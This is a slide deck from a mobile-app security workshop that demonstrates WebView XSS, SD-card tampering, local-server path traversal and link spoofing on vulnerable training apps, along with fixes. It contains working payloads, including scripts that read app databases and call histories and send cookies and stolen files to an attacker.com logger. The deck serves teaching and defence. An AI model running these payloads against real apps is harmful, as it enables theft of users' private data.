Uploaded by berlina001

Practical Mobile App Attacks by Example

advertisement
Practical Mobile App Attacks
by Example
Presented by : Abraham Aranguren
Free 4h Workshop Access (vuln apps, slides, recording):
https://7asecurity.com/free
> admin@7asecurity.com
> @7asecurity
BSides Dublin, Ireland
> @7a_
> @owtfp [ OWASP OWTF - owtf.org ]
+ 7asecurity.com
March 19th, 2022
Who am I?
★ CEO at 7ASecurity, pentests & security training
public reports, presentations, etc.: https://7asecurity.com/publications
★ Co-Author of Mobile, Web and Desktop (Electron) app 7ASecurity courses:
https://7asecurity.com/training
★ Security Trainer at Blackhat USA, HITB, OWASP Global AppSec, LASCON,
44Con, HackFest, Nullcon, SEC-T, DeepSec, etc.
★ Former Team Lead & Penetration Tester at Cure53 and Version 1
★ Author of Practical Web Defense: www.elearnsecurity.com/PWD
★ Founder and leader of OWASP OWTF, and OWASP flagship project: owtf.org
★ Some presentations: www.slideshare.net/abrahamaranguren/presentations
★ Some sec certs: CISSP, OSCP, GWEB, OSWP, CPTS, CEH, MCSE: Security,
MCSA: Security, Security+
★ Some dev certs: ZCE PHP 5, ZCE PHP 4, Oracle PL/SQL Developer Certified
Associate, MySQL 5 CMDev, MCTS SQL Server 2005
Public Mobile Pentest Reports - I
Smart Sheriff mobile app mandated by the South Korean government:
Public Pentest Reports:
→ Smart Sheriff: Round #1 - https://7asecurity.com/reports/pentest-report_smartsheriff.pdf
→ Smart Sheriff: Round #2 - https://7asecurity.com/reports/pentest-report_smartsheriff-2.pdf
Presentation:“Smart Sheriff, Dumb Idea, the wild west of government assisted parenting”
Slides:https://www.slideshare.net/abrahamaranguren/smart-sheriff-dumb-idea-the-wild-west-of-government-assisted-parenting
Video: https://www.youtube.com/watch?v=AbGX67CuVBQ
Chinese Police Apps Pentest Reports:
→ "BXAQ" (OTF) 03.2019 - https://7asecurity.com/reports/analysis-report_bxaq.pdf
→ "IJOP" (HRW) 12.2018 - https://7asecurity.com/reports/analysis-report_ijop.pdf
→ "Study the Great Nation" 09.2019 - https://7asecurity.com/reports/analysis-report_sgn.pdf
Presentation: “Chinese Police and CloudPets”
Slides: https://www.slideshare.net/abrahamaranguren/chinese-police-and-cloud-pets
Video: https://www.youtube.com/watch?v=kuJJ1Jjwn50
Public Mobile Pentest Reports - II
Other reports:
→ Exodus iOS Mobile App - https://7asecurity.com/reports/pentest-report_exodus.pdf
→ imToken Wallet - https://7asecurity.com/reports/pentest-report_imtoken.pdf
→ Whistler Apps - https://7asecurity.com/reports/pentest-report_whistler.pdf
→ Psiphon - https://7asecurity.com/reports/pentest-report_psiphon.pdf
→ Briar - https://7asecurity.com/reports/pentest-report_briar.pdf
→ Padlock - https://7asecurity.com/reports/pentest-report_padlock.pdf
→ Peerio - https://7asecurity.com/reports/pentest-report_peerio.pdf
→ OpenKeyChain - https://7asecurity.com/reports/pentest-report_openkeychain.pdf
→ F-Droid / Baazar - https://7asecurity.com/reports/pentest-report_fdroid.pdf
→ Onion Browser - https://7asecurity.com/reports/pentest-report_onion-browser.pdf
More here:
https://7asecurity.com/publications
Agenda
Practical walkthrough about interesting mobile app attacks found over the years:
•
•
•
•
•
•
•
XSS in mobile apps?
Mobile apps with Local Servers!?
What can go wrong with Deeplinks?
Deeplink → SQLi → RCE!!?
Tails of Crypto FAIL
Mobile API pwnage
And more :)
Source: http://www.quickmeme.com/meme/353ljq
WebViews & Data Exfiltration:
Android
WebViews & Data Exfiltration: Android
Introduction to WebViews
A WebView in Android is a native Android object that acts like a miniature web browser
which can load web content like HTML and JavaScript within the context of an Android
activity. WebViews are useful when you need to have extensive control over the web
content being loaded.
Interesting WebView properties
1.
2.
3.
4.
WebViews can have as many permissions as the app that includes it.
They can be explicitly enabled to execute JavaScript
They can load local as well as remote web content
Native Android functions can sometimes be accessed from WebViews with the
help of JavaScript, via Javascript Interfaces
https://developer.android.com/reference/android/webkit/JavascriptInterface
Attacking Android WebViews
In the earlier section, we understood that WebViews are miniature web browsers. This
means that they can be susceptible to the security issues that affect normal browsers.
Some of the common attacks include:
●
●
●
●
HTML Injection → could be useful for phishing: fake login page
XSS → change the page, invoke functionality from JavaScript, etc.
Data exfiltration of local files (depending on security context & webview settings)
Possibly User Impersonation using CSRF via XSS (depending on the application)
XSS & Data Exfiltration in Android
Introduction to AndroGoat
AndroGoat is a vulnerable Android application written in Kotlin with many vulnerabilities relating to
various Android components like WebViews, storage issues etc. It is an open source project.
Official Project URL:
https://github.com/satishpatnayak/AndroGoat
In this lab, we will use a modified version to illustrate interesting data exfiltration techniques that
we have used in real penetration tests, therefore please use the build from the training portal
instead:
https://training.7asecurity.com/mc/workshop/practical-mobile-app-attacks-by-example/apps/AndroGoat_Improved.apk
Preliminaries: Creating Some Data Files
As we want to exfiltrate data, we need to create it first, go to the “Insecure Data Storage” menu:
XSS & Data Exfiltration in Android
Fig.: Going to the “Insecure Data Storage” area
XSS & Data Exfiltration in Android
From this section, let’s do the following:
Task 1 - Create a Shared Preferences File
Go to “Shared Preferences - Part 1” and enter some username and password like
mysecretuser / mypassword, and then tap on “Save”:
XSS & Data Exfiltration in Android
Fig.: Creating a shared preferences file with user credentials
XSS & Data Exfiltration in Android
Task 2 - Create a SQLite Database File
Go to “SQLite” and enter some username and password like mysecretuser /
mypassword, and then tap on “Save”:
XSS & Data Exfiltration in Android
Fig.: Creating a SQLite file with user credentials
XSS & Data Exfiltration in Android
XSS in WebView
Step 1: Navigate to the Input Validation - XSS exercise
NOTE: If you have done this lab before, don’t forget to delete the SD Card HTML file
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Click on “Input Validations” and then “Input Validations XSS”:
XSS & Data Exfiltration in Android
Fig.: Navigating to the XSS Exercise
XSS & Data Exfiltration in Android
Step 2: Confirming the XSS vulnerability
There are two inputs available here: one for internal storage and the other for external
storage. Before we get to identifying the difference between these two, let us try various
inputs to check for XSS in both these input fields.
Checking for HTML injection:
Trying some HTML like <h1> will result in much bigger letters, suggesting that HTML
Injection is possible:
Payload:
<h1>hello</h1>
XSS & Data Exfiltration in Android
Resulting behavior:
Fig.: Confirming the HTML Injection issue
XSS & Data Exfiltration in Android
Checking for XSS:
The next step is to check if JavaScript executes.
Payloads:
<img src=x onerror=alert(1)>
<script>alert(1)</script>
Attempting these payloads confirms the HTML injection can also be used to execute
JavaScript:
XSS & Data Exfiltration in Android
Fig.: Confirming the XSS vulnerability
XSS & Data Exfiltration in Android
Confirming Execution Context
Once we know the application is vulnerable to XSS, we can go ahead and figure out
what the JavaScript execution context is. A quick way to figure this out is to alert the
location of the page:
Payloads:
<script>alert(location)</script>
Attempting this payload reveals the security context for the internal and external storage
XSS vulnerabilities, in both cases it is file://, a privileged context perfect to steal data:
XSS & Data Exfiltration in Android
Fig.: Determining JavaScript execution context
XSS & Data Exfiltration in Android
From the above screenshots, we have alerted the location of the file and we can clearly
see that the source file is loaded from two different storage locations for the two input
fields:
●
●
Internal storage: /data/data/owasp.sat.agoat/app_webdata/xss.html
External storage: /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
This means that the application has access to both the storage contexts. As we had
discussed earlier, the webview has as much access as the application.
Data Exfiltration via XSS - Figuring out File Paths
To exfiltrate data, first we need to know the file path of the files that we want to steal.
XSS & Data Exfiltration in Android
Case 1: Root Access
If we have root access to the phone, we simply ssh or adb shell to the phone and run the
find command:
Commands:
adb shell
root@vbox86p:/ # cd /data/data/owasp.sat.agoat
root@vbox86p:/data/data/owasp.sat.agoat # find .
.
[...]
./shared_prefs/users.xml
./shared_prefs/WebViewChromiumPrefs.xml
./databases
./databases/aGoat
./databases/aGoat-journal
XSS & Data Exfiltration in Android
Data Exfiltration via XSS - Stealing App Files
Payloads:
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a.
responseText);</script>
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/databases/aGoat',false);a.send();alert(a.respons
eText);</script>
If you try the above payloads you will see how with the XSS we are able to read those
files and therefore could also forward them to an attacker, hence proving that data
exfiltration is possible:
XSS & Data Exfiltration in Android
Fig.: Stealing local data files that belong to the victim app
XSS & Data Exfiltration in Android
Data Exfiltration via XSS - Stealing System & Third Party App Files
Please note that this issue is not limited to only the affected app, it is also possible to
read some system files, as well as files from apps that allow reading certain files from
their local storage. Of course, if the app has SD Card access, any SD Card file can also
be read, including SD Card files from other apps.
Assuming you have the Drozer Agent App installed on the phone you are testing with,
the following examples will work:
XSS & Data Exfiltration in Android
Payloads:
<script>a=new
XMLHttpRequest();a.open("GET","file:///system/etc/custom.conf",false);a.send();aler
t(a.responseText);</script>
<script>a=new XMLHttpRequest();a.open("GET",
"file:///data/data/com.mwr.dz/lib/libmstring.so",
false);a.send();alert(a.responseText);</script>
NOTE: You may also be able to read other interesting phone paths such as
/system/build.prop depending on the device used for testing.
The above payloads read a system file (/system/...) as well as a file from a third party
app, which has permissions that allow other apps to read it (/data/data/com.mwr.dz/...),
using the above payloads result in the following:
XSS & Data Exfiltration in Android
Fig.: Data retrieval from system and other apps
XSS & Data Exfiltration in Android
XSS & Data Exfiltration Summary Analysis
So, as we have seen, with XSS we can exfiltrate:
1. Application data files, from the vulnerable app
2. System files, as long as they have permissions that allow other apps to read it
3. Files from other apps, as long as they have permissions that allow this
4. Any SD Card file, the location needs to be known, the victim app needs read
access to the SD Card.
Methodology-wise you are looking to answer the following questions:
XSS & Data Exfiltration in Android
Question
Payload
Result
Can we also run arbitrary
JavaScript?
<img src=x onerror=alert(1)>
Yes!
If so, under what context is
JavaScript executed?
<script>alert(location)</script>
Context: file://
Privileged Context:
Not protected with the Sa
me Origin Policy = we can read
local files!
XSS & Data Exfiltration in Android
Question
Payload
Result
If XSS from a privileged
context, can we read phone
files and send them to the
attacker?
<script>a=new
XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoa
t/shared_prefs/users.xml',false);
a.send();alert(a.responseText);</
script>
Yes! We can read app files,
internal device files and also
files from other apps!
OR
<script>a=new
XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoa
t/databases/aGoat',false);a.send(
);alert(a.responseText);</script>
XSS & Data Exfiltration in Android
XSS via SD Card Manipulation
As you recall earlier, one of the files is stored in “External Storage”, which is Android
speak for “the SD Card”, this means that any application that can write to the SD Card
can modify that HTML file and achieve XSS even without any XSS on the application
itself (!).
To illustrate this, we need to know: Where in the SD Card is this HTML file?
We can answer this question with the previous alert(location):
Payload:
<script>alert(location)</script>
XSS & Data Exfiltration in Android
Fig.: Confirming SD Card location
XSS & Data Exfiltration in Android
Another way would be to use the command line:
Command:
adb shell
begonia:/ $ find /mnt/sdcard/Android/data/owasp.sat.agoat/
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/
/mnt/sdcard/Android/data/owasp.sat.agoat/files
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Once we know the location, we can pull this file and change it, to simulate a malicious
application on the phone (i.e. with SD Card access) doing the same thing:
XSS & Data Exfiltration in Android
Command:
adb pull /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
/mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html: 1 file pulled. 0.1
MB/s (420 bytes in 0.004s)
We can now edit the file and add any XSS payload we want, for example:
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
XSS & Data Exfiltration in Android
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
Name: <input type="text" id="name"/>
</br></br>
<input type="button" value="Display" onclick="displayContent()"
style="background-color:black; color:white; border: 2px solid #000000"/>
<script>a=new XMLHttpRequest();a.open('GET',
'file:///data/data/owasp.sat.agoat/shared_prefs/users.xml',false);a.send();alert(a.
responseText);</script>
</body>
</html>
XSS & Data Exfiltration in Android
After that change, we can push the file again to see what happens:
Command:
adb push xss_ext.html /mnt/sdcard/Android/data/owasp.sat.agoat/files/xss_ext.html
Output:
xss_ext.html: 1 file pushed. 0.0 MB/s (573 bytes in 0.019s)
XSS & Data Exfiltration in Android
Fig.: Still able to trigger the XSS even without XSS!
XSS & Data Exfiltration in Android
Root Cause Analysis
Upload the app to MobSF for analysis.
Figure out the relevant upload directory, i.e. most recent upload, by sorting by time via -t
Command:
ls -lt /root/.MobSF/uploads/
Output:
total 12
drwxr-xr-x 9 root root 4096 Jun 26 10:47 6da48a9c83c2d48667c458babe2709c5
drwxr-xr-x 14 root root 4096 May 30 09:41 894c2a1c396398d29e712438a71be55a
drwxr-xr-x 13 root root 4096 May 30 07:19 43084088cf86b8479ea321043b48e982
Now copy the upload locally, for example:
XSS & Data Exfiltration in Android
Commands:
mkdir -p /root/labs/lab3/xss
cd /root/labs/lab3/xss
cp -r /root/.MobSF/uploads/6da48a9c83c2d48667c458babe2709c5 decompiled
Now we need to find the code for this, based on what is displayed on the page we could
search for “External Storage” and see what happens:
Command:
grep -Ir 'External Storage'
Output:
apktool_out/res/values/strings.xml: 1. What is External Storage?
apktool_out/res/values/strings.xml:
<string name="sdCard">External Storage SDCard</string>
apktool_out/assets/xss_ext.html:<h2>External Storage</h2>
assets/xss_ext.html:<h2>External Storage</h2>
XSS & Data Exfiltration in Android: Spot the Vuln?
It seems that xss_ext.html could be an interesting file to look at:
Can you see the vulnerability?
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
XSS & Data Exfiltration in Android
Name: <input type="text" id="name"/>
</br></br>
<input type="button" value="Display" onclick="displayContent()"
style="background-color:black; color:white; border: 2px solid #000000"/>
</body>
</html>
Solution on the next page, but try to find the vulnerability first! :)
XSS & Data Exfiltration in Android: Solution
File:
xss_ext.html
Code:
<html>
<body>
<h2>External Storage</h2>
<script>
function displayContent(){
var a=document.getElementById("name");
document.write(a.value);
}
</script>
Name: <input type="text" id="name"/>
</html>
XSS & Data Exfiltration in Android
</br></br>
<input type="button" value="Display" onclick="displayContent()"
style="background-color:black; color:white; border: 2px solid #000000"/>
</body>
As you can see we have a DOM XSS vulnerability, the value of the “name” input field is
assigned to a DOM XSS sink: document.write.
This explains why the XSS exists, but we must now go deeper to explain why file access
and data exfiltration is possible.
Since we know the name of the HTML file we just found, we could search for it in the
sources:
XSS & Data Exfiltration in Android
Command:
grep -Ir 'xss_ext.html' *
Output:
owasp/sat/agoat/XSSActivity.java:
File myExternalFile = new
File(getExternalFilesDir(""), "xss_ext.html");
owasp/sat/agoat/XSSActivity.java:
InputStream stream =
getAssets().open("xss_ext.html");
[...]
Affected File:
owasp/sat/agoat/XSSActivity.java
XSS & Data Exfiltration in Android
Affected Code:
Intrinsics.checkExpressionValueIsNotNull(webSettings1, "webSettings1");
webSettings1.setJavaScriptEnabled(true);
webSettings1.setAllowUniversalAccessFromFileURLs(true);
webSettings1.setAllowFileAccessFromFileURLs(true);
webSettings1.setAllowFileAccess(true);
webSettings1.setAllowContentAccess(true);
webSettings1.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings1.setDomStorageEnabled(true);
webSettings1.setLoadWithOverviewMode(true);
webSettings1.supportMultipleWindows();
Intrinsics.checkExpressionValueIsNotNull(webSettings2, "webSettings2");
webSettings2.setJavaScriptEnabled(true);
webSettings2.setAllowUniversalAccessFromFileURLs(true);
webSettings2.setAllowFileAccessFromFileURLs(true);
webSettings2.setAllowFileAccess(true);
XSS & Data Exfiltration in Android
webSettings2.setAllowContentAccess(true);
webSettings2.setJavaScriptCanOpenWindowsAutomatically(true);
webSettings2.setDomStorageEnabled(true);
webSettings2.setLoadWithOverviewMode(true);
webSettings2.supportMultipleWindows();
this.thefile = String.valueOf(LoadDataint());
[...]
this.thefullfileurl = "file://" + this.theintfileurl;
webview1.loadUrl(this.thefullfileurl);
this.thefullextfileurl = "file://" + this.theextfileurl;
webview2.loadUrl(this.thefullextfileurl);
As you can see a number of insecure settings related to file access have been enabled
and the webviews are loaded from a file:// context.
XSS & Data Exfiltration in Android
Mitigation Recommendations:
To resolve issues like this, it is important to apply as many of the following
countermeasures as deemed feasible by the development team:
1. Where possible favor TextViews over WebViews, XSS is not possible on
TextViews.
2. If you must use Webviews, disable as many settings as possible, especially
JavaScript, all file access options and any other not strictly required functionality.
Leave the minimum settings possible for the application to work.
3. Output encode user input prior to rendering it in any Webview
4. Avoid DOM XSS sinks as much as possible, otherwise sanitize user input prior to
assigning it to a DOM XSS sink (i.e. innerHTML, location, href, etc.)
For additional mitigation guidance, please see the OWASP XSS Prevention Cheat Sheet
https://cheatsheetseries.owasp.org/.../Cross_Site_Scripting_Prevention_Cheat_Sheet.html
DEMO: XSS & Data Exfiltration in Android
Attacking WebViews & Data
Exfiltration: iOS
Source: https://miro.medium.com/max/522/1*jF7QmwWgXlKb0qwvFOspYA.gif
Attacking WebViews & Data Exfiltration in iOS
UIWebViews in iOS allow apps to include a webview that can render HTML code. If user
input is not output encoded correctly, attackers can take advantage of this to execute
arbitrary JavaScript or render malicious HTML in the security context of the app.
Open DVIA-v2 and navigate to ‘Webview Issues’ from the menu, then click on “Start
Challenge”:
Fig.: Starting Webview issues challenge
Attacking WebViews & Data Exfiltration in iOS
Enter some text (i.e. “hello”) in the top text box and hit enter. Notice how the string you
entered (i.e. “hello”) is part of the text rendered in the text area below:
Fig: WebView in iOS app
Attacking WebViews & Data Exfiltration in iOS
Given that we are inside a webview, let’s try some HTML tags and see if it they are
output encoded correctly or not:
Input:
<h1>Hello</h1>
Output:
Fig: WebView in iOS app
Attacking WebViews & Data Exfiltration in iOS
This confirms that we have HTML injection, now we can progress with additional
payloads to answer the following questions:
1. Can we also run arbitrary JavaScript?
2. If so, under what context is JavaScript executed?
3. If XSS from a privileged context, can we read phone files and send them to the
attacker?
XSS Payloads:
<img src=x onerror=alert(1)>
<svg/onload=alert(location)>
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/DataU
sage.sqlite',false);a.send();alert(a.responseText);</script>
Attacking WebViews & Data Exfiltration in iOS
<script>a = new
XMLHttpRequest();a.open('GET','file:///private/var/wireless/Library/Databases/Cellu
larUsage.db',false);a.send();alert(a.responseText);</script>
Fig.: XSS from a privileged context (applewebdata://) results
in data exfiltration
Attacking WebViews & Data Exfiltration in iOS
To summarize:
Question
Payload
Result
Can we also run arbitrary
JavaScript?
<img src=x onerror=alert(1)>
Yes!
If so, under what context is
JavaScript executed?
<svg/onload=alert(location)>
Context: applewebdata://
Privileged Context:
Not protected with the Sa
me Origin Policy = we can read
local files!
Attacking WebViews & Data Exfiltration in iOS
Question
Payload
Result
If XSS from a privileged
context, can we read phone
files and send them to the
attacker?
<script>a = new
XMLHttpRequest();a.open('GET','f
ile:///private/var/wireless/Libr
ary/Databases/DataUsage.sqlite',
false);a.send();alert(a.response
Text);</script>
Yes! We can read the phone
history
OR
<script>a = new
XMLHttpRequest();a.open('GET','f
ile:///private/var/wireless/Libr
ary/Databases/CellularUsage.db',
false);a.send();alert(a.response
Text);</script>
Attacking WebViews & Data Exfiltration in iOS
Root Cause Analysis
Where is the problem? A possible way to find out is to narrow down our search to the
locations of the source code where WKWebViews and UIWebViews might be used, this
can be accomplished with the following command:
Command:
egrep -r "(WKWebView|UIWebView)" * | grep '.swift:'
Output:
Vulnerabilities/Client Side
Injection/Controller/ClientSideInjectionDetailViewController.swift:
var webView: UIWebView!
Vulnerabilities/Donate/Controller/DonateDetailsViewController.swift:
webView: WKWebView!
@IBOutlet
var
Attacking WebViews & Data Exfiltration in iOS
Attacking WebViews & Data Exfiltration in iOS
As we can see in the vulnerable code, user input is concatenated into a string without
prior sanitization. Further, the webView URL baseURL is set to nil, which means that the
WebView will run with higher privileges, hence enabling data exfiltration from the phone.
Please note that this issue is in part possible due to the fact that
WebKitAllowUniversalAccessFromFileURLs and
WebKitAllowFileAccessFromFileURLs are turned on by default on UIWebView
(disabled by default on WKWebView). It is possible to turn these off manually on
UIWebView, however, output encoding user input prior to the concatenation and for
turning off JavaScript entirely the UIWebView needs to be replaced by the newer and
safer WKWebView.
https://www.allysonomalley.com/2018/12/03/ios-bug-hunting-web-view-xss/
https://developer.apple.com/documentation/uikit/uiwebview
https://developer.apple.com/documentation/webkit/wkwebview
https://stackoverflow.com/questions/48835813/can-i-disable-js-in-a-uiwebview-objective-c
https://stackoverflow.com/questions/33828064/ios-web-view-javascript-disable?lq=1
Source: https://me.me/i/yo-dawgiheard-youlike-concatenate-soiconcatenated-concatenatewithconcatenate-meme-creator-funny-0f56cfdadaf04b109ac5fc84975b56fd
DEMO: Attacking WebViews & Data Exfiltration in iOS
Episode: Sexy attacks using the SD Card
SD Card 101:
→ Many apps can read & write
→ Can be extracted without unlocking the phone
→ No encryption
Source: https://cultureandcognitionreadinggroup.files.wordpress.com/2017/11/memory_2183425.jpg
Scenario: Saving sensitive stuff in the SD Card
Whistleblower app saving reports in SD Card
SQLite databases in SD Card, but also human right violation reports with PII:
Command:
adb shell cat /mnt/sdcard/some/path/human_right_violation_report.xml
Output:
<?xml version='1.0' ?><HumanRightViolation>
[...]<start>2019-04-17T11:46:08.368Z</start>
[...]<end>2019-04-17T11:58:43.572Z</end>
[...]<today>2019-04-17</today>
<device_id>xxxxxxxxx</device_id>
<sim_imei>xxxxxxxxx</sim_imei>
<phone_number>xxxxxx</phone_number>
<event><title>xxxxxx title</title>
[...]
Whistleblower app saving reports in SD Card
<first_name>first xxxxxx</first_name>
<last_name>last xxxxxx</last_name>
<alias>Nick xxxxxx</alias>
<age>20</age>
<gender>male</gender>
<marital_status>single</marital _status>
<address>xxxxxx address</address>
<affiliation>13</affiliation>
<is_victim>yes</is_victim>
<number_of_dependants/>
[...]
Scenario: Text files loaded from SD Card
Question: What is the vulnerability?
→
→
Text files loaded from SD Card
Text file content embedded into HTML later
Code:
$.ajax({
url: "Chapter.txt",
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data);
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>')
Solution: pXSS + data exfiltration
Flow:
1. Loaded from SD Card
2. Stored in variable
3. Concatenated into HTML = XSS
Code:
$.ajax({
url: "Chapter.txt", ← Loaded from SD Card
[...]
success: function(data, theStatus) { },
[...]
var pageData = convertText(data); ← Stored in variable
[...]
("#some_id").append('<div id="chapter' + i + '" [...]">
<p>' + pageData + '</p></div>') ← concatenated into HTML = XSS
Attack: pXSS + data exfiltration
Need to encode payloads? Check https://hackvertor.co.uk/
NOTE: Now also a Burp extension! Both by Gareth Heyes :)
Hackvertor IN:
<script><@eval_fromCharCode_0>xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET",
"file://////data/data/some.vuln.app/databases/webview.db", false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert(ret);<@/eval_fromCharCode_0></script>
Hackvertor OUT:
<script>eval(String.fromCharCode(120,109[...]</script>
Attack: pXSS + data exfiltration (cont.)
Fix: SDCard leaks & pXSS + data exfiltration
→
→
→
→
Avoid saving sensitive information in the SD Card
Avoid loading HTML from unsafe locations i.e. SD Card
Output encode input before concatenating into HTML
Disable JavaScript:
Proposed Fix:
webview.getSettings().setJavaScriptEnabled(false);
If must use SD Card:
→ Hash cached files, save hashes in protected storage, re-download tampered
files.
→
Consider encrypting files, key the decryption key in protected storage (i.e.
Android KeyStore)
NOTE: Android KeyStore = hardware-backed security enclave ideal to store secrets
(In iOS, the equivalent is the iOS Keychain)
Source: https://www.burnssheehan.co.uk/storage/images/it-security-meme.gif
Episode: Spoofing Attacks
Scenario: Show URL1, Click goes to URL2
Attack: Unicode RTL/LTR characters
RTL = Right To Left
LTR = Left to Right
1.
2.
3.
Send link: ‮ moc.evil.org
Victim sees: gro.live.com
Victim clicks + navigates to: moc.evil.org
Usually used against:
1. Email apps, Chat apps
Used in the wild:
https://krebsonsecurity.com/2011/09/right-to-left-override-aids-email-attacks/
Episode: Sexy Local Server Attacks
Scenario: Cordova iOS app
→
→
Cordova app
Uses plugin that runs a local server
Attack: Path Traversal without auth
PoC
<html>
<body>
<p>Show /etc/passwd:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F..%2F..%2F..%2F..%2F..%2F..%2F../etc/passwd "><
/iframe>
<p>List files at the app www directory level:</p>
<iframe id="if" width=100% height=25% src="http://localhost:53741/"></iframe>
<p>List files at app level:</p>
<iframe id="if" width=100% height=25%
src="http://localhost:53741/..%2F"></iframe>
</body>
</html>
Attack: Path Traversal without auth (cont)
Attack: Path Traversal without auth (cont)
Dumping all files:
Commands:
for i in $(cat data_files_relative.txt); do
wget "http://127.0.0.1:53741/$i" > wget_output.txt 2> wget_errors.txt
done
grep 'Saving to' wget_errors.txt -B 4 | grep http | cut -f4 -d" "
Output:
http://127.0.0.1:53741/Library/Caches/com.apple.WebKit.WebContent/com.apple.ope
ngl/compileCache.data
[...]
Fix: Path Traversal without auth
→
Do not implement local servers unless truly needed
→
If needed, at least require authentication (i.e. malicious apps can’t call it)
→
Validate URL with appropriate access control and path traversal mitigation
Scenario: More Clear-text HTTP (iOS)
Question: What is the vulnerability?
1.
App requests + caches CSS file from server:
http://some.site.com/app/css/mobileapp.css
2.
Subsequent requests check If-Modified-Since:
Server always replies with:
HTTP/1.1 304 Not Modified
3.
CSS added into every article rendered like this:
NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s
tyle></head><body style='[...]%@'><div
id='mainDiv'>%@  </div></body></html>", localFontPointer, serverProvidedCss!=nil?
serverProvidedCss:@"",
Solution: The vulnerability :)
1.
App requests + caches CSS file from server:
http://some.site.com/app/css/mobileapp.css ← clear-text HTTP = MitM can
modify
2.
Subsequent requests check If-Modified-Since: ← Makes the attack persistent
Server always replies with:
HTTP/1.1 304 Not Modified
3.
CSS added into every article rendered like this: ← Contents added to HTML
NSString *returnString = [NSString stringWithFormat:@"<html><head><style>%@ %@%@</s
tyle></head><body style='[...]%@'><div
id='mainDiv'>%@  </div></body></html>", localFontPointer, serverProvidedCss!=nil?
serverProvidedCss:@"",
Attack: Permanent XSS
Attacker supplies CSS file via clear-text MitM:
a {
[...] } [...] </style><script src="https://attacker.com/pwn_css.js"></script><style>
The XSS payload will be executed every time the user reads an article!
Attack: Permanent XSS - log user activity
URL:
https://attacker.com/pwn_css.js
Contents:
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
xmlhttp=request;
function sendit() {
try {
var url = "https://attacker.com/logger.php?c="
+encodeURIComponent(document.cookie)+
"&u="+encodeURIComponent(document.location)+
Attack: Permanent XSS - log user activity (cont)
"&t="+encodeURIComponent(document.title)+
"&h="
var html_str = encodeURIComponent(document.body.innerHTML);
html_str = html_str.substr(0,8190 - url.length);
url += html_str;
xmlhttp.open("GET", url, false);
xmlhttp.send(null);
}
catch (e) {
alert('Error! ' + e);
}
}
setTimeout('sendit()', 1000);
Attack: Permanent XSS - log user activity
The attacker logger receives all news items seen by the user:
IP: x.x.x.x
User Agent: Mozilla/5.0 (iPhone; CPU
Cookies: [...]
URL: http://some.site.com/
HTML: <div id="mainDiv"><p>Some news
iPhone OS [...]
[...]</p>
Attack: Data Exfiltration via XSS (call history)
Favorited articles are rendered from file://
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
xmlhttp=request;
function readit() {
if (location.protocol != "file:") {
alert("location.protocol (" + location.protocol + ") is not file:,
skipping file reading attempts");
return;
}
try {
var sensitive_files = [
Attack: Data Exfiltration via XSS (call history)
'/private/var/wireless/Library/CallHistory/call_history.db',
'/private/var/wireless/Library/Databases/CellularUsage.db'
];
for (var i in sensitive_files) {
try {
xmlhttp.open("GET", "file://" + sensitive_files[i], false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
alert('Got DB: ' + sensitive_files[i] + "\r\n" + ret);
var url = "https://attacker.com/logger.php?c="+encodeURIComponent(
document.cookie)+"&u="+encodeURIComponent(document.location)+
"&t="+encodeURIComponent(sensitive_files[i])+"&h="
var html_str = encodeURIComponent(ret);
Attack: Data Exfiltration via XSS (call history)
html_str = html_str.substr(0,8190 - url.length);
url += html_str;
xmlhttp.open("GET", url, false);
xmlhttp.send(null);
}
catch (e) {
alert(sensitive_files[i] + " - FAILED: " + e);
}
}
}
catch (e) {
alert('failed: ' + e)
}
}
setTimeout('readit()', 1000);
Attack: Data Exfiltration via XSS (call history)
Attack: Data Exfiltration via XSS (app files)
var path = "" + window.location;
var token = path.replace('file:///var/mobile/Applications/',
'').replace('/Documents/Multimedia/', '');
alert('got token: ' + token);
var sensitive_files = [
,
'/private/var/mobile/Applications/'+token+'/Library/Preferences/.some.plist'
[...]
Attack: Data Exfiltration via XSS (app files)
Fix: Permanent XSS + Data Exfiltration
→
→
→
→
→
→
→
→
→
Avoid usage of clear-text HTTP to download files
Consider Pinning
Validate the file from the server (i.e. CSS file is CSS and does not contain HTML
tags)
If possible, prior to concatenating strings, output encode (i.e. output encode
HTML characters in CSS files, before merging with HTML)
Avoid loading pages with untrusted input from a file:// protocol
Favor UITextViews over UIWebViews, where possible
Disable JavaScript if possible
If JS must be enabled: Consider CSP to limit JavaScript as much as possible
Sanitize HTML prior to rendering:
https://github.com/cure53/DOMPurify
Question: Does CSRF exist in mobile apps?
LAB
CHECK
Deep Link attacks achieving user
impersonation
&
Deep Link attacks to bypass
authorization controls
Deep Link Preliminaries
Introduction to Mobile Deep Links
●
●
●
URIs that can be used to navigate to different parts of an application.
Available on both Android and iOS platforms.
Deep Links can have custom schemes.
Example:
● A social media application registers ‘socialapp://homepage’
● Any click to such link will be automatically directed to this application.
LAB
CHECK
Ability to navigate to different activities and pages:
socialapp://profile → to access the profile page within the application
